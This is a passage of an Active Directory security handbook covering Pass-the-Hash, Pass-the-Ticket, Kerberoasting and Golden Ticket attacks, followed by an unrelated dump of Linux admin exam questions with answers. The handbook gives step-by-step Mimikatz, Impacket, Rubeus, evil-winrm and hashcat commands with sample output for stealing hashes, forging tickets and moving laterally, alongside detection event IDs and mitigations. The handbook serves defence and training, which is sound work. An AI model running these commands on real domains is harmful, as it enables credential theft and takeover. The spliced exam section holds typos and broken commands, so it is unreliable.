In the command above, an adversary is using the Invoke-WmiExec script to run the command “hostname” on the remote machine with the internal IP address 192.168.52.146.

Tool 3: evil-winrm

The “evil-winrm” tool is a Ruby gem that enables the execution of remote commands on a Windows machine using the Windows Remote Management (WinRM) protocol. As evil-winrm is not a built-in tool, adversaries have to install it before the use. Various installation options are available in the corresponding GitHub repository ¹⁰.

In a Pass-the-Hash attack using evil-winrm, the attacker specifies the username, NTLM hash, and IP address of the target system as parameters in the evil-winrm command ¹³.

For example, the following command can be used to perform a PtH attack on a Windows machine with IP address 192.168.52.146, using the username “Alice” and the NTLM hash “a0c8746a6efc7782c7c19c55185145be”:

evil-winrm -u Alice -H a0c8746a6efc7782c7c19c55185145be -i 192.168.52.146

With this information, evil-winrm establishes a remote connection to the target system and authenticates as the specified user (Alice), allowing the attacker to execute arbitrary commands on the remote machine.

Detection Methods for the Pass the Hash Attack

Below, known Event IDs are added to detect a possible Pass-the-Hash attack ¹⁴, ¹⁵, ¹⁶, ¹⁷:

Event ID 1 - Process Create.

• Key Description Fields: LogonId, ParentProcessId, ParentImage, CurrentDirectory, CommandLine, IntegrityLevel, ParentCommandLine, ParentCommandLine, UtcTime,ProcessId, User, Hashes, Image

Event ID 5 - Process terminated.

• Key Description Fields: UtcTime, ProcessId:, Image

Event ID 10 - Process accessed.

• Key Description Fields: SourceThreadId, TargetProcessId, GrantedAccess,SourceImage, TargetImage

Event ID 4624 - An account was successfully logged on.

• Key Description Fields: Account Name, Account Domain, Logon ID

Event ID 4663 - An attempt was made to access an object.

• Key Description Fields: Process ID, Access Mask, Account Domain, Object Name, Process Name, Object Type, Logon ID, Handle ID

Event ID 4672 - Special privileges assigned to new logon.

• Key Description Fields: Security ID, Account Name, Account Domain

Event ID 4688 - A new process has been created.

• Key Description Fields: Required Label, Account Domain, Source Process Name, NewProcess Name, Token Escalation Type, New Process ID, Source Process ID

Mitigation Techniques for the Pass the Hash Attack

To mitigate the risk of pass-the-hash attacks, organizations can employ several technical measures. One such measure is to enable Windows Defender Credential Guard, a feature that was introduced in Windows 10 and Windows Server 2016. This tool leverages virtualization to secure credential storage and restrict access to trusted processes only.

Another measure is to revoke administrator privileges from user workstations. This limits an attacker’s ability to execute malware and extract hashes from LSASS.exe. Additionally, limiting the number of endpoints that users have administrative privileges on and avoiding administrative privileges across security boundaries reduces the risk of a compromised credential being used to escalate privileges.

Randomizing and storing local administrator passwords with a solution like Microsoft’s Local Administrator Password Solution (LAPS) also adds an extra layer of security, as it reduces an attacker’s ability to move laterally with local accounts that share the same password. It is also recommended to prevent local accounts from authenticating over the network, which can be achieved through the use of well-known SID’s in group policies.

Pass-the-Ticket (T1550.003)

Pass the Ticket (PtT) is a technique that allows an attacker to use a previously acquired Kerberos Ticket Granting Ticket. The TGT is a crucial component of the Kerberos protocol, as it enables a user to authenticate to multiple systems without having to enter their password each time.

Tools and Techniques to Perform Pass-the-Ticket Attacks

Pass-the-Ticket (PtH) attacks can be executed by utilizing various publicly available tools, such as Mimikatz, Kekeo ¹⁸, Rubeus ¹⁹, Creddump7 ²⁰, etc. Attackers often employ these tools to extract Kerberos TGTs from the memory of a compromised system and then use them to gain access to other systems on the network.

Tool 1: Mimikatz

Usage of Mimikatz for the PtT attack consists of four main steps.

Step 1: Capturing Kerberos tickets for valid accounts

An attacker can use the sekurlsa::tickets Mimikatz command with the /export parameter to extract all the Kerberos tickets from memory and save them as .kirbi files and save them in the same folder where the Mimikatz executable file is located.

By examining the names of the .kirbi files, it is possible to determine if there are any Kerberos tickets for a domain administrator, such as DOMAIN\Alice:

PS> mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
PS> dir | findet "Alice" | findstr "krbtgt"
...
[0;1e4c7df]-2-0-40e10000-Alice@krbtgt-DOMAIN.COM.kirbi
...

The second command, dir | findet “Alice” | findstr “krbtgt”, lists all the files in the current directory and pipes the output to the findstr command to search for the text “krbtgt”. The purpose of this command is to find the Kerberos ticket file(s) related to the user “Alice”, which may include the “krbtgt” string in the file name.

Step 2: Reusing the ticket

This is the main step of the Pass-the-Ticket attack.

In this step, the attacker employs the Mimikatz command kerberos::ptt to insert the obtained TGT into their own session, resulting in their session taking on the identity and permissions of the stolen TGT for future access to resources without knowing the plaintext credentials.

This allows the adversary to access resources that would otherwise be protected by Kerberos authentication ²².

PS> mimikatz.exe "kerberos::ptt
C:\KerberosTickets\[0;1e4c7df]-2-0-40e10000-Alice@krbtgt-DOMAIN.COM.kirbi"

* File:
'C:\KerberosTickets\[0;1e4c7df]-2-0-40e10000-joed@krbtgt-DOMAIN.COM.kirbi': OK

Note that the above command is used to insert the Kerberos Ticket Granting Ticket (TGT) stored in the corresponding .kirbi file into the current session.

To make sure that the right ticket was injected, an adversary can use the “kerberos::list” Mimikatz command.

PS> mimikatz.exe "kerberos::list"

[00000000] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 13/01/2022 09:47:44 ; 13/01/2022 09:47:44 ; 13/01/2022 09:47:44
Server Name     : krbtgt/DOMAIN.COM @ DOMAIN.COM
Client Name     : Alice @ DOMAIN.COM
Flags 40e10000  : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

Step 3: Discovering privileges of the stolen ticket

Once an obtained ticket is ready for reuse, the attacker needs to identify its capabilities, i.e., where it can be utilized. A TGS can only provide access to the specific resource it was issued for, and the attacker can find out that information by examining the TGS.

To use a TGT, the attacker may have to perform an internal discovery phase to figure out the access it grants. This can be as simple as checking the user’s group memberships and looking for clear signs.

PS> net user Alice /domain
The request will be processed at a domain controller for domain domain.com.

User name                   Alice  
Full Name                   Alice Oswell
Comment
User's comment
Country/region code         000 (System Default)
Account active              Yes
Account expires             Never
. . .
Local Group Memberships
Global Group memberships    *Workstation Administrators *VPNUser
                            *FileServer1_PublicShare *Domain Users
The command completed successfully.

Step 4: Accessing resources through new user account

Lastly, the attacker can employ built-in OS utilities to move laterally in a stealthy manner so that they can try and gain access to other resources and further their goals. For instance, the adversary might leverage the PsExec command-line utility to run the powershell.exe on a remote workstation.

Detection Methods for the Pass the Ticket Attack

Below, known Event IDs are added to detect a possible Pass-the-Ticket attack ¹⁴, ¹⁵:

Event ID 4768 - A Kerberos Authentication Ticket (TGT) was requested.

• Key Description Fields: Account Name, Service Name (always “krbtgt”), Service ID, Client Address

Event ID 4769 - A Kerberos Service Ticket was requested.

• Key Description Fields: Account Name, Service Name, Client Address

Event ID 4770 - A Kerberos Service Ticket was renewed.

• Key Description Fields: Account Name, User ID, Service Name, Service ID

Mitigation Techniques for the Pass the Ticket Attack

Effective measures to counter pass-the-hash attacks concentrate on making tickets more difficult to steal and limiting the potential impact of a stolen ticket. One such measure is to utilize Microsoft’s Windows Defender Credential Guard. This technology, which was introduced in Windows 10 and Windows Server 2016, leverages virtualization to secure credential storage and provide access only to trusted processes.

Another important step is to limit the number of endpoints where users have administrative privileges. This significantly reduces the risk of an attacker using a stolen ticket for lateral movement. It is also important to avoid granting administrative privileges across security boundaries, as this greatly reduces the risk of an attacker using a stolen ticket to escalate their privileges.

Kerberoasting

Kerberoasting is a technique used to obtain password hashes for Active Directory (AD) user accounts that have servicePrincipalName (SPN) values.

In AD environments, SPNs are registered to user or computer accounts, known as “service accounts.” These accounts are utilized to run services and applications, and they are usually granted the least privilege necessary to perform their function. When a client requests a service from a server, it employs the SPN to locate the service account linked with the service. The client then authenticates to the service using the service account’s credentials, which are stored as a password hash in AD.

In the case of Kerberoasting, an attacker can exploit the SPN value of a service account to request a service ticket (TGS). The TGS ticket may be encrypted (via RC4) with the password hash of the service account assigned to the requested SPN as the key. This means that an attacker who captures TGS tickets in network traffic or extracts them from memory can extract the password hash of the service account and perform an offline brute force attack to recover the plaintext password.

Note that Kerberoasting and Pass-the-Ticket attacks are two different techniques used to steal or impersonate valid credentials in a Kerberos environment.

Tools and Techniques to Perform Kerberoasting

For this attack, not just one tool is used, but rather a collaboration of them, such as Mimikatz, Rubeus, Impacket, John the Ripper, Hashcat.

Tool 1: Impacket

The Kerberoasting attack leveraging the Impacket script consists of three main parts.

Step 1: Identifying the SPNs and requesting TGSs

The first step in Kerberoasting attacks is to enumerate (or identify) servicePrincipalNames and request service tickets (TGS). The Impacket script GetUserSPNs (Python) can perform all the necessary steps to request a ST for a service given its SPN and valid domain credentials ²³

# with a password
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

# with an NT hash
GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER

The command above uses the GetUserSPNs.py script and specifies an output file, “kerberoastables.txt”, where the obtained password hashes will be stored.

The -dc-ip flag to specify the IP address of the domain controller and the -outputfile flag to specify where the obtained password hashes will be saved. It also uses the ‘DOMAIN/USER:Password’ or ‘DOMAIN/USER’ argument to provide the domain, username and password/NT hash of a valid domain user to request the ST.

Note that adversaries can also leverage the CrackMapExec (CME) tool to perform Kerberoasting against a list of systems specified by $TARGETS ²³.

crackmapexec ldap $TARGETS -u $USER -p $PASSWORD --kerberoasting kerberoastables.txt --kdcHost $KeyDistributionCenter

Step 2: Offline cracking of the hash

Having stolen passwords in the kerberoastables.txt file, the adversary can perform an offline brute force attack to obtain the plaintext password using the third-party tools, such as John the Ripper and Hashcat.

john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt

The command above uses the –format=krb5tgs flag to specify that the hashes in the file “kerberoastables.txt” are in the format of Kerberos 5 TGS (Ticket Granting Service) and –wordlist flag to specify the location of the wordlist file to use in the cracking process. Once the command is executed, John will try to find a match between the password hashes and the words in the wordlist file.

Step 3: Using new privileges to further objectives

Once the password has been cracked, the attacker can use the service account’s credentials to access network resources and further their objectives. This can include exfiltrating data, moving laterally within the network, or escalating their privileges.

Tool 2: Rubeus

The Kerberoasting attack that leverages Rubeus consists of four main parts.

Step 1: Enumerate servicePrincipalNames

First step of a Kerberoasting attack is to identify and enumerate the Service Principal Names (SPNs) of the targeted service accounts with desirable privileges.

For this reason, adversaries can develop customized LDAP filters to look for users with SPN values registered for current domain ²⁴.

$ldapFilter = "(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
#Execute Search
$results = $search.FindAll()
#Display SPN values from the returned objects
$Results = foreach ($result in $results)
{
$result_entry = $result.GetDirectoryEntry()
$result_entry | Select-Object @{
Name = "Username"; Expression = { $_.sAMAccountName }
}, @{
Name = "SPN"; Expression = { $_.servicePrincipalName | Select-Object
-First 1 }
}
}
$Results

Username        SPN
--------        ---
ServiceAccount1 http/webserver1
ServiceAccount2 cifs/appserver2

Step 2: Requesting TGS tickets

An attacker can target specific service accounts by identifying and enumerating their Service Principal Names (SPNs) and then request Ticket Granting Service (TGS) tickets for these service accounts. Tools such as Rubeus can be used to automate this process by extracting the password hashes from memory ²⁵.

PS> .\Rubeus.exe kerberoast /simple /outfile:passwordhashes.txt

[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Searching the current domain for Kerberoastable users
[*] Total kerberoastable users : 2
[*] Hash written to C:\Tools\hashes.txt
[*] Roasted hashes written to : C:\Tools\hashes.txt

PS> Get-Content .\passwordhashes.txt

$krb5tgs$23$*ServiceAccount1$domain.com$http/webserver1*$45FAD4676AECDDE4C1397BF
CED441F79$DEB. . .

# ... output truncated ... #

Step 3: Cracking the password online

The next step in the attack is to obtain the plaintext passwords of the service accounts, this process is done by using an offline brute-force attack, which means that the attacker doesn’t need to communicate with the active directory making it undetectable.

To perform this task, the attacker can use different tools such as John the Ripper and Hashcat, that are designed specifically for password cracking with dictionaries of common passwords:

PS> .\hashcat.exe -m 13100 -o cracked.txt -a 0 .\passwordhashes.txt .\wordlist.txt

The command uses the hashcat.exe executable and specifies the following flags:

• -m 13100: This flag is used to specify the hash type, in this case Kerberos 5 TGS (Ticket Granting Service)
• -o cracked.txt: This flag is used to specify the output file where the cracked passwords will be saved
• -a 0: This flag is used to specify the attack mode, in this case 0 stands for “Straight” attack mode.

The command also specifies the file paths of the passwordhashes.txt and wordlist.txt. Once the command is executed, Hashcat will try to find a match between the password hashes in the passwordhashes.txt file and the words in the wordlist.txt file.

Step 4: Using new privileges to further objectives

Once the password has been cracked, the attacker can use the service account’s credentials to access network resources and further their objectives. For instance, having the account credentials, the adversary can use the runas tool with the /netonly parameter to run PowerShell as the “ServiceAccount1” user

Detection Methods for the Kerberoasting Attack

It is possible to identify various signs of Kerberoasting by observing the Windows event log for unusual requests for ticket-granting service (TGS) ²⁶, ²⁷. Event ID 4769 - A Kerberos Service Ticket was requested.

• Key Description Fields: Account Name, Service Name, Client Address

Event ID 4770 - A Kerberos Service Ticket was renewed.

• Key Description Fields: Account Name, User ID, Service Name, Service ID

Mitigation Techniques for the Kerberoasting Attack

To safeguard service account passwords from Kerberoasting attacks, several measures can be taken such as ²⁸:

Mitigation Technique 1: Rejecting authentication requests not using Kerberos Flexible Authentication Secure Tunneling (FAST)

This is also known as Kerberos Armoring. This pre-authentication extension creates a secure channel between the client and the domain controller, aiming to enhance the protection of Kerberos tickets from offline password cracking attempts. While FAST can eradicate the threat posed by Kerberoasting, implementing it quickly and effectively in an organization can prove to be challenging.

Mitigation Technique 2: Eliminating the use of insecure protocols in Kerberos

Although completely disabling RC4 is a major task, it is possible to configure individual service accounts to not accept the RC4 protocol. By setting the attribute msDS-SupportedEncryptionTypes to 0x18 (decimal 24), only AES128 and AES256 will be enabled. This change not only improves security but also makes it easier to detect malicious activity as the use of RC4 in a TGS request is a stronger indicator.

Mitigation Technique 3: Adopting strong password hygiene practices for service accounts

Service account passwords should be randomly generated, have a minimum length of 30 characters, and be changed frequently.

Golden Ticket Attack

The Golden Ticket attack involves forging a Kerberos ticket to gain unauthorized access to a computer system as a privileged user. To carry out the attack, an attacker must obtain the NTHash of the krbtgt account, the account responsible for encrypting and signing all tickets within a domain, as well as the domain’s Security Identifier (SID). With this information, the attacker can create a fraudulent golden ticket that mimics a legitimate ticket issued by the domain’s authentication server. This golden ticket provides the attacker with the ability to access sensitive information and resources on the targeted system.

Tools and Techniques to Perform a Golden Ticket Attack

Adversaries can use multiple third-party tools such as Mimikatz and Impacket to perform a Golden Ticket attack.

Tool 1: Impacket

In this scenario, we will assume that upon performing a Kerberoasting attack, an attacker dumped a file of hashes and cracked them to gain administrator access to the Domain Controller. In other words, we have the plaintext password of an administrator user that can access the DC. In addition, our domain name will be EXAMPLE.local for efficiency.

A typical Golden Ticket attack with Impacket consists of two main parts.

Step 1: Forging a golden ticket

To create a valid golden ticket, certain information is required, such as the NTHash of the domain controller’s krbtgt account and the domain SID. This information can be obtained by using the secretsdump.py script from Impacket, provided that the attacker has administrator access to the domain controller. Below, you will find the proper syntax to dump NTHash for the krbtgt account ²⁹.

secretdump.py Administrator:"Password"@<DC_IP_Address>

Assume that NTHash is bf106a6860c6f7b3317c653a38aba33.

Next, the attacker needs to learn the domain SID. For this, they can leverage Impacket’s lookupsid.py tool. Note that even though the attacker chooses the DC as the target, this attack works with any domain controller.

lookupsid.py EXAMPLE.local/Administrator:"Password"@<DC_IP_Address>

Assume that the domain SID is S-5-1-5-21-2049251289-867822404-1193079966.

Finally, the attacker uses Impacket’s ticketer.py tool to forge a golden ticket for a domain user. One advantage of the ticketer.py is that the forged ticket gets written to a .ccache file instead of .kirbi; in other words, the attacker does not have to convert it.

ticketer.py -nthash bf106a6860c6f7b3317c653a38aba33 -domain-sid "S-5-1-5-21-2049251289-867822404-1193079966" -domain EXAMPLE.local Alice

Note that the command above is an example of an attacker forging a golden ticket for a non-existent domain administrator Alice.

Step 2: Using a golden ticket

To set up the golden ticket for use, the KRB5CCNAME environment variable needs to be set to the path of the .ccache file, which can be an absolute or relative file path. The KRB5CCNAME environment variable is used to inform Impacket tools that support Kerberos tickets where to find the ticket. This allows the attacker to use the golden ticket to access the system as a privileged user ²⁹.

Next, the adversary can use Impacket’s command execution tools, such as psexec.py, smbexec.py, or wmiexec.py, to load and authenticate with the ticket, eventually giving the adversary a command execution. For Kerberos authentication to work, the adversary has to provide the IP address of the target, the IP address of the Domain Controller, and the domain name.

psexec.py $EXAMPLE.local/$Administrator@$TARGET_NAME -target-ip $TARGET_IP -dc-ip $DC_IP -no-pass -k

Note that while the -no-pass option tells the script to skip password-based authentication, the -k option specifies that the Kerberos ticket should be taken from the KRB5CCNAME environment variable. The purpose of this script is to remotely execute commands on the target computer using Kerberos authentication without having to enter a password.

Tool 2: Mimikatz

A typical Golden Ticket attack with Impacket consists of three main parts.

Step 1: Compromising the password hash for the krbtgt account

As it was the case with the Impacket scenario, for a Golden Ticket attack to work, an adversary has to have administrator access to a Domain Controller. Hence, we will start with this assumption.

To exfiltrate the password hash of the krbtgt user, the attacker can use the “lsadump::dcsync” command.

PS> mimikatz.exe "lsadump::dcsync /user:DOMAIN\KRBTGT"

SAM Username          : krbtgt
User Principal Name   : krbtgt@DOMAIN.com
Password last change  : 09/03/2020 14:51:03
Object Security ID    : S-1-5-21-5840559-2756745051-1363507867-502 #

Credentials:
  Hash NTLM: 1b8cee51fd49e55e8c9c9004a4acc159 # NTLM Hash
. . .
aes256_hmac (4096) :
ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5
. . .

Notice that “lsadump::dcsync /user:DOMAIN\KRBTGT” is a command-line argument for Mimikatz that tells it to perform a “DCSync” operation using the user account “DOMAIN\KRBTGT”, which is the default account used by the Kerberos authentication service in Windows Active Directory environments ³⁰.

Step 2: Forging Kerberos tickets

Upon obtaining access to the KRBTGT password hash, they can use Mimikatz to forge Kerberos tickets. This can involve creating a fake ticket-granting ticket (TGT) for a nonexistent user account.

To forge a TGT, the attacker needs to supply certain information to the Mimikatz kerberos::golden function: The domain’s fully qualified domain name, the security identifier of the domain (SID), the password hash of the KRBTGT user (using AES-256, and alternatively AES-128, NTLM, or RC4), the username to impersonate, the RID of groups to include in the ticket with the first being the primary group of the user, and the ptt flag to indicate whether the forged ticket should be injected into the current session instead of saving it to a file:

PS> mimikatz.exe "kerberos::golden /domain:domain.com

/sid:S-1-5-21-5840559-2756745051-1363507867
/aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5
/id:500 /user:NonExistentAdministator /groups:GroupNumber1, GroupNumber2 /ptt"

User      : NonExistentAdministator
Domain    : domain.com (DOMAIN)
SID       : S-1-5-21-5840559-2756745051-1363507867
User Id   : 500
Groups Id : *513 2668
ServiceKey: ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 -
aes256_hmac
-> Ticket : ** Pass The Ticket **
. . .
Golden ticket for 'NonExistentUser@domain.com' successfully submitted for
current session

Note that with the /id flag the adversary indicated the user id that they want to create the ticket for. In this case the attacker passes the 500 value to the /id flag to create an Administrator account. The name of the user account can be anything, as given in the example.

Step 3: Using the forged kerberos ticket

The attacker can utilize the forged ticket to gain access to resources integrated with Kerberos. The TGT is signed and encrypted with the actual KRBTGT password hash, which makes it a valid proof of identity in the eyes of any domain controller. The domain controller will then issue ticket-granting service (TGS) tickets based on the TGT.

As the attacker gains more information about the environment, they can use the forged tickets to access applications, databases, or other resources that use Active Directory for authentication and authorization. The attacker may target specific groups by including their RID in the ticket-forging process. For instance, they might discover the group “MSSQL Administrators” with the corresponding RID during a discovery phase, which might give them access to valuable databases ³⁰.

Detection Methods for the Golden Ticket Attack

Event ID 4769 - A Kerberos Service Ticket was requested.

• Key Description Fields: Account Name, Service Name, Client Address

Event ID 4624 - An account was successfully logged on.

• Key Description Fields: Account Name, Account Domain, Logon ID

Event ID 4627 - Identifies the account that requested the logon.

• Key Description Fields: Security ID, Account Name, Account Domain, Logon ID

Mitigation Techniques for the Golden Ticket Attack

To guard against Kerberoasting attacks, it is recommended to take steps to limit the access of adversaries and make it harder for them to obtain the password hash of the KRBTGT user. This can be achieved through the following actions ³⁰, ³¹:

Mitigation Technique 1: Restricting administrative privileges across security boundaries

Organizations should not allow users to possess administrative privileges across security boundaries. For instance, an attacker who gains access to a workstation should not be able to escalate their privileges to target the domain controller.

Mitigation Technique 2: Minimizing elevated privileges

Service accounts with high privileges, such as Domain Admins, should be granted only when necessary. By limiting the number of these accounts, organizations can reduce the number of targets for an attacker seeking the KRBTGT hash.

Mitigation Technique 3: Regularly changing the password for the KRBTGT account

It is important to change the password for the KRBTGT user on a regular schedule and immediately after any changes in personnel responsible for Active Directory administration. The password should be changed twice, with a 12-24 hour interval between the two changes, to avoid any service disruptions.

Next Part

The Complete Active Directory Security Handbook (Part-2)

References

Configure your Host Name, IP Address, Gateway and DNS.

Host name: station.domain40.example.com /etc/sysconfig/network hostname=abc.com hostname abc.com IP Address:172.24.40.40/24 Gateway:172.24.40.1 DNS:172.24.40.1

cd /etc/syscofig/network-scripts/
ls
vim ifcfg-eth0 #(Configure IP Address, Gateway and DNS) 
	IPADDR=172.24.40.40
	GATEWAY=172.24.40.1
	DNS1=172.24.40.1
vim /etc/sysconfig/network #(Configure Host Name)
	HOSTNAME= station.domain40.example.com

QUESTION 2

Add 3 users: harry, natasha, tom. The requirements: The Additional group of the two users: harry, Natasha is the admin group. The user: tom’s login shell should be non-interactive.

useradd -G admin harry
useradd -G admin natasha
useradd -s /sbin/nologin tom
id harry;id Natasha (Show additional group)
cat /etc/passwd (Show the login shell)

OR

system-config-users

QUESTION 3

Create a catalog under /home named admins. Its respective group is requested to be the admin group. The group users could read and write, while other users are not allowed to access it. The files created by users from the same group should also be the admin group.

cd /home/
mkdir admins /
chown .admin admins/
chmod 770 admins/
chmod g+s admins/

QUESTION 4

Configure a task: plan to run echo hello command at 14:23 every day.

which echo
crontab -e
    23 14 * * * /bin/echo hello
crontab -l #(Verify)

QUESTION 5

Create a 2G swap partition which take effect automatically at boot-start, and it should not affect the original swap partition.

fdisk /dev/sda
    p #(check Partition table)
    n #(create new partition: press e to create extended partition, press p to create the main partition, and the extended partition is further divided into logical partitions)
    Enter
    +2G
    t
    l
    W
partx -a /dev/sda
partprobe
mkswap /dev/sda8
Copy UUID
swapon -a
vim /etc/fstab
    UUID=XXXXX swap swap defaults 0 0
swapon -s

QUESTION 6

Create a user named alex, and the user id should be 1234, and the password should be alex111.

useradd -u 1234 alex
passwd alex
    alex111
    alex111

OR

echo alex111|passwd -stdin alex

QUESTION 7

Install a FTP server, and request to anonymous download from /var/ftp/pub catalog. (it needs you to configure yum direct to the already existing file server)

cd /etc/yum.repos.d
vim local.repo
    [local]
    name=local.repo
    baseurl=file:///mnt
    enabled=1
    gpgcheck=0
yum makecache
yum install -y vsftpd
service vsftpd restart
chkconfig vsftpd on
chkconfig --list vsftpd
vim /etc/vsftpd/vsftpd.conf
    anonymous_enable=YES

QUESTION 8

Configure a HTTP server, which can be accessed through http://station.domain40.example.com. Please download the released page from http://ip/dir/example.html.

yum install -y httpd
chkconfig httpd on
cd /var/www/html
wget http://ip/dir/example.html
cp example.com index.html
vim /etc/httpd/conf/httpd.conf
    NameVirtualHost 192.168.0.254:80
    <VirtualHost 192.168.0.254:80>
    DocumentRoot /var/www/html/
    ServerName station.domain40.example.com
    </VirtualHost>

QUESTION 9

Configure the verification mode of your host account and the password as LDAP. And it can ldapuser40. The password is set as “password”. And the certificate login successfully through can be downloaded from http://ip/dir/ldap.crt. After the user logs on , the user has no host directory unless you configure the autofs in the following questions.

system-config-authentication
    LDAP Server: ldap//instructor.example.com (In domain form, not write IP)

OR

yum groupinstall directory-client (1.krb5-workstation 2.pam-krb5 3.sssd)
system-config-authentication
    1.User Account Database: LDAP
    2.LDAP Search Base DN: dc=example,dc=com
    3.LDAP Server: ldap://instructor.example.com (In domain form, not write IP) 4.Download CA Certificate
    5.Authentication Method: LDAP password
    6.Apply
getent passwd ldapuser40

QUESTION 10

Configure autofs to make sure after login successfully, it has the home directory autofs, which is shared as /rhome/ldapuser40 at the ip: 172.24.40.10. and it also requires that, other ldap users can use the home directory normally.

chkconfig autofs on
cd /etc/
vim /etc/auto.master
    /rhome /etc/auto.ldap
cp auto.misc auto.ldap
vim auto.ladp
    ldapuser40 -rw,soft,intr 172.24.40.10:/rhome/ldapuser40
    * -rw,soft,intr 172.16.40.10:/rhome/&
service autofs stop
server autofs start
showmount -e 172.24.40.10
su - ladpuser40

QUESTION 11

Configure the system synchronous as 172.24.40.10.

system-config-date

QUESTION 12

Change the logical volume capacity named vo from 190M to 300M. and the size of the floating range should set between 280 and 320. (This logical volume has been mounted in advance.)

vgdisplay #(Check the capacity of vg, if the capacity is not enough, need to create pv , vgextend , lvextend)
lvdisplay #(Check lv)
lvextend -L +110M /dev/vg2/lv2
resize2fs /dev/vg2/lv2
mount -a #(Verify)
#-------------- (Decrease lvm)
umount /media
fsck -f /dev/vg2/lv2
resize2fs -f /dev/vg2/lv2 100M
lvreduce -L 100M /dev/vg2/lv2
mount -a
lvdisplay #(Verify)

OR

e2fsck -f /dev/vg1/lvm02
resize2fs -f /dev/vg1/lvm02
mount /dev/vg1/lvm01 /mnt
lvreduce -L 1G -n /dev/vg1/lvm02
lvdisplay (Verify)

QUESTION 13

Create a volume group, and set 16M as a extends. And divided a volume group containing 50 extends on volume group lv, make it as ext4 file system, and mounted automatically under /mnt/data.

pvcreate /dev/sda7 /dev/sda8
vgcreate -s 16M vg1 /dev/sda7 /dev/sda8
lvcreate -l 50 -n lvm02
mkfs.ext4 /dev/vg1/lvm02
blkid /dev/vg1/lv1
vim /etc/fstab
mkdir -p /mnt/data
vim /etc/fstab
    UUID=xxxxxxxx /mnt/data ext4 defaults 0 0
mount -a
mount

QUESTION 14

The Additional group of the two users: user2, user3 is the admin group Password: redhat

useradd -G admin user2
useradd -G admin user3
passwd user2
    redhat
passwd user3
    redhat

QUESTION 15

Copy /etc/fstab to /var/tmp name admin, the user1 could read, write and modify it, while user2 without any permission.

cp /etc/fstab /var/tmp/
chgrp admin /var/tmp/fstab
setfacl -m u:user1:rwx /var/tmp/fstab
setfacl -m u:user2:--- /var/tmp/fstab
ls -l
    -rw-rw-r--+ 1 root admin 685 Nov 10 15:29 /var/tmp/fstab

QUESTION 16

Configure a task: plan to run echo “file” command at 14:23 every day.

crontab -u natasha -e
    23 14 * * * /bin/echo "file"

OR

su - natasha
crontab -e
    23 14 * * * /bin/echo "file"

QUESTION 17

Configure a default software repository for your system. One YUM has already provided to configure your system on http://server.domain11.example.com/pub/ x86_64/Server, and can be used normally.

yum-config-manager --add-repo=http://content.example.com/rhel7.0/x86-64/dvd”
vim content.example.com_rhel7.0_x86_64_dvd.repo
    gpgcheck=0
Yumcleanall
Yumrepolist

QUESTION 18

Adjust the size of the Logical Volume. Adjust the size of the vo Logical Volume, its file system size should be 290M. Make sure that the content of this system is complete. Note: the partition size is rarely accurate to the same size as required, so in the range 270M to 320M is acceptable.

Addition

df -hT
lvextend -L +100M /dev/vg0/vo
Lvscan
xfs_growfs /home/ #home is the mounted directory of the LVM, this step just need to do in the practice environment, and test EXT4 does not need this step.
resize2fs /dev/vg0/vo/ # use this command to update in examination.
df -hT

Subtraction

e2fsck -f/dev/vg0/vo
umount /home
resize2fs /dev/vg0/vo #the final required partition capacity is 100M 
lvreduce -l 100M /dev/vg0/vo
mount /dev/vg0/vo/home
df -hT

QUESTION 19

Configure /var/tmp/fstab Permission. Copy the file /etc/fstab to /var/tmp/fstab. Configure var/tmp/fstab permissions as the following: Owner of the file /var/tmp/fstab is Root, belongs to group root File /var/tmp/fstab cannot be executed by any user User natasha can read and write /var/tmp/fstab User harry cannot read and write /var/tmp/fstab All other users (present and future) can read var/tmp/fstab.

cp /etc/fstab /var/tmp/
/var/tmp/fstab view the owner setfacl -m u:natasha:rw- /var/tmp/fstab setfacl -m u:haryy:--- /var/tmp/fstab
getfacl /var/tmp/fstab #to view permissions

QUESTION 20

Add a swap partition. Adding an extra 500M swap partition to your system, this swap partition should mount automatically when the system starts up. Don’t remove and modify the existing swap partitions on your system.

fdisk -cu /dev/vda/ #in the way of expanding the partition, don’t make main partition
partx –a /dev/vda
mkswap /dev/vdax
swapon /dev/vdax
swapon –s
vi /etc/fstab
    /dev/vdaxswapswapdefaults0 0
mount -a

QUESTION 21

Search files. Find out files owned by jack, and copy them to directory /root/findresults

mkdir/root/findfiles
find / -user jack -exec cp -a {} /root/findfiles/ \; ls /root/findresults

QUESTION 22

Search a String Find out all the columns that contains the string seismic within /usr/share/dict/words, then copy all these columns to /root/lines.tx in original order, there is no blank line, all columns must be the accurate copy of the original columns.

grep seismic /usr/share/dict/words > /root/lines.txt

QUESTION 23

Create a backup Create a backup file named /root/backup.tar.bz2, contains the content of /usr/local, tar must use bzip2 to compress.

cd /usr/local
tar –jcvf /root/backup.tar.bz2
mkdir /test
tar –jxvf /root/backup.tar.bz2 –C /test/ #Decompression to check the content is the same as the /usr/loca after
#If the questions require to use gzip to compress. change –j to –z.

QUESTION 24

Create a logical volume Create a new logical volume as required: Name the logical volume as database, belongs to datastore of the volume group, size is 50 PE. Expansion size of each volume in volume group datastore is 16MB. Use ext3 to format this new logical volume, this logical volume should automatically mount to /mnt/database

fdisk -cu /dev/vda// Create a 1G partition, modified when needed
partx –a /dev/vda
pvcreate /dev/vdax
vgcreate datastore /dev/vdax –s 16M
lvcreate– l 50 –n database datastore
mkfs.ext3 /dev/datastore/database
mkdir /mnt/database
mount /dev/datastore/database /mnt/database/ df –Th
vi /etc/fstab
    /dev/datastore /database /mnt/database/ ext3 defaults 0 0 mount –a

QUESTION 25
